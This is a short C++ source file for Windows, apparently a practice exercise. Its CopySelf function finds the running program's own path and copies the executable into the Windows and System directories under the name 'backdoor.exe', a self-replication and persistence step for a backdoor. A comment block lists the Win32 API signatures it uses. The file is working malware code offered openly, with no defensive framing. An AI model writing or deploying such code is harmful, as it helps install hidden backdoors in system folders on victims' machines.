#include "iostream"
#include "windows.h"
using namespace std;
/*
GetModuleFileName(
HMODULE NULL,
LPTSTR lpFilename,
DWORD nSize
);
GetWindowsDirectory(
LPTSTR lpBuffer,
UINT nSize
);
GetSystemDirectory(
LPTSTR lpBuffer,
UINT nSize
);
BOOL CopyFile(
LPTSTR lpExistingFileName,
LPTSTR lpNewFileName,
BOOL bFailIfExists
);
*/
void CopySelf()
{
char szSelfName[MAX_PATH] = {0};
char szWindowsPath[MAX_PATH] = {0};
char szSystemPath[MAX_PATH] = {0};
char szTempPath[MAX_PATH] = {0};
GetModuleFileName(NULL, szSelfName, MAX_PATH);
GetWindowsDirectory(szWindowsPath, MAX_PATH);
GetSystemDirectory(szSystemPath, MAX_PATH);
strcat(szWindowsPath, "\\backdoor.exe");
strcat(szSystemPath, "\\backdoor.exe");
CopyFile(szSelfName, szWindowsPath, FALSE);
CopyFile(szSelfName, szSystemPath, FALSE);
}
int main()
{
CopySelf();
return 0;
}